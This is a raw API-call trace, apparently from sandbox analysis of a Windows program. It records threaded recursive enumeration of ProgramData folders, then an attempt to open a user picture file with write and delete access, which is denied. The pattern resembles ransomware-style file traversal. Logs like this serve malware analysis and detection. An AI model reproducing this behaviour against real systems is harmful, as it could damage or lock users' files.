0x1b7c2440 [0152.365] wcscpy (in: _Dest=0x1b7c2440, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.365] wcscat (in: _Dest=0x1b7c2440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.365] wcscat (in: _Dest=0x1b7c2440, _Source="Start Menu" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" [0152.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a5c [0152.366] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0152.366] wcscmp (_String1="Templates", _String2=".") returned 1 [0152.367] wcscmp (_String1="Templates", _String2="..") returned 1 [0152.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1c60 [0152.367] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.367] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.367] wcscat (in: _Dest=0x1b7c1c60, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Templates") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" [0152.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50 [0152.368] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0152.368] wcscmp (_String1="WER", _String2=".") returned 1 [0152.368] wcscmp (_String1="WER", _String2="..") returned 1 [0152.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b8593f0 [0152.368] wcscpy (in: _Dest=0x1b8593f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.368] wcscat (in: _Dest=0x1b8593f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.368] wcscat (in: _Dest=0x1b8593f0, _Source="WER" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER" [0152.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8593f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0152.370] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 0 [0152.370] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0152.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce212c0) returned 1 [0152.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd862b0) returned 1 [0152.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858910) returned 1 Thread: id = 989 os_tid = 0x161c [0101.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd864f0 [0101.451] wcscpy (in: _Dest=0x1cd864f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0101.451] wcscat (in: _Dest=0x1cd864f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0101.451] wcscat (in: _Dest=0x1cd864f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\*" [0101.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21a10 [0101.451] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86670 [0101.451] wcscmp (_String1=".", _String2=".") returned 0 [0101.451] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.451] wcscmp (_String1="..", _String2=".") returned 1 [0101.452] wcscmp (_String1="..", _String2="..") returned 0 [0101.452] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFax", cAlternateFileName="")) returned 1 [0101.452] wcscmp (_String1="MSFax", _String2=".") returned 1 [0101.452] wcscmp (_String1="MSFax", _String2="..") returned 1 [0101.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced89f0 [0101.452] wcscpy (in: _Dest=0x1ced89f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0101.452] wcscat (in: _Dest=0x1ced89f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0101.452] wcscat (in: _Dest=0x1ced89f0, _Source="MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0152.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced89f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1254 [0152.422] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0152.422] wcscmp (_String1="MSScan", _String2=".") returned 1 [0152.422] wcscmp (_String1="MSScan", _String2="..") returned 1 [0152.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1b10 [0152.423] wcscpy (in: _Dest=0x1b7c1b10, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0152.423] wcscat (in: _Dest=0x1b7c1b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\" [0152.423] wcscat (in: _Dest=0x1b7c1b10, _Source="MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0152.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1218 [0152.423] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0152.423] FindClose (in: hFindFile=0x1cd86670 | out: hFindFile=0x1cd86670) returned 1 [0152.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21a10) returned 1 [0152.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd864f0) returned 1 [0152.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8588b0) returned 1 Thread: id = 990 os_tid = 0x1620 [0101.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd86730 [0101.458] wcscpy (in: _Dest=0x1cd86730, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0101.458] wcscat (in: _Dest=0x1cd86730, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0101.458] wcscat (in: _Dest=0x1cd86730, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*" [0101.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f7f0 [0101.458] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd866d0 [0101.459] wcscmp (_String1=".", _String2=".") returned 0 [0101.459] FindNextFileW (in: hFindFile=0x1cd866d0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.459] wcscmp (_String1="..", _String2=".") returned 1 [0101.459] wcscmp (_String1="..", _String2="..") returned 0 [0101.459] FindNextFileW (in: hFindFile=0x1cd866d0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0101.459] wcscmp (_String1="Profiles", _String2=".") returned 1 [0101.459] wcscmp (_String1="Profiles", _String2="..") returned 1 [0101.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced8a60 [0101.459] wcscpy (in: _Dest=0x1ced8a60, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0101.459] wcscat (in: _Dest=0x1ced8a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\" [0101.459] wcscat (in: _Dest=0x1ced8a60, _Source="Profiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" [0129.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced8a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8 [0129.926] FindNextFileW (in: hFindFile=0x1cd866d0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0129.927] FindClose (in: hFindFile=0x1cd866d0 | out: hFindFile=0x1cd866d0) returned 1 [0129.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f7f0) returned 1 [0129.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86730) returned 1 [0129.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86130) returned 1 Thread: id = 991 os_tid = 0x1624 [0101.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced8ad0 [0101.462] wcscpy (in: _Dest=0x1ced8ad0, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" [0101.462] wcscat (in: _Dest=0x1ced8ad0, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\" [0101.463] wcscat (in: _Dest=0x1ced8ad0, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*" [0101.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce217a0 [0101.463] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86fd0 [0101.689] wcscmp (_String1=".", _String2=".") returned 0 [0101.689] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.689] wcscmp (_String1="..", _String2=".") returned 1 [0101.689] wcscmp (_String1="..", _String2="..") returned 0 [0101.689] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0101.689] wcscmp (_String1="Security", _String2=".") returned 1 [0101.689] wcscmp (_String1="Security", _String2="..") returned 1 [0101.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869e40 [0101.690] wcscpy (in: _Dest=0x1b869e40, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" [0101.690] wcscat (in: _Dest=0x1b869e40, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\" [0101.690] wcscat (in: _Dest=0x1b869e40, _Source="Security" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0127.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a4 [0127.107] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0127.107] FindClose (in: hFindFile=0x1cd86fd0 | out: hFindFile=0x1cd86fd0) returned 1 [0127.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce217a0) returned 1 [0127.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 [0127.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dd30) returned 1 Thread: id = 992 os_tid = 0x1628 [0101.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8c20 [0101.578] wcscpy (in: _Dest=0x1ced8c20, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" [0101.578] wcscat (in: _Dest=0x1ced8c20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\" [0101.578] wcscat (in: _Dest=0x1ced8c20, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*" [0101.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0101.578] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86910 [0101.579] wcscmp (_String1=".", _String2=".") returned 0 [0101.579] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.579] wcscmp (_String1="..", _String2=".") returned 1 [0101.579] wcscmp (_String1="..", _String2="..") returned 0 [0101.579] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0101.579] wcscmp (_String1="en-US", _String2=".") returned 1 [0101.579] wcscmp (_String1="en-US", _String2="..") returned 1 [0101.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85eb10 [0101.579] wcscpy (in: _Dest=0x1b85eb10, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" [0101.579] wcscat (in: _Dest=0x1b85eb10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\" [0101.579] wcscat (in: _Dest=0x1b85eb10, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" [0127.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85eb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e0 [0127.098] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0127.098] FindClose (in: hFindFile=0x1cd86910 | out: hFindFile=0x1cd86910) returned 1 [0127.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20b70) returned 1 [0127.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c20) returned 1 [0127.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7865f0) returned 1 Thread: id = 993 os_tid = 0x1650 [0104.681] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile16.bmp")) returned 0x20 [0104.684] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp", dwFileAttributes=0x20) returned 0 [0104.684] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0104.684] GetLastError () returned 0x5 [0104.684] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp", dwFileAttributes=0x20) returned 0 [0104.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11810) returned 1 Thread: id = 994 os_tid = 0x164c 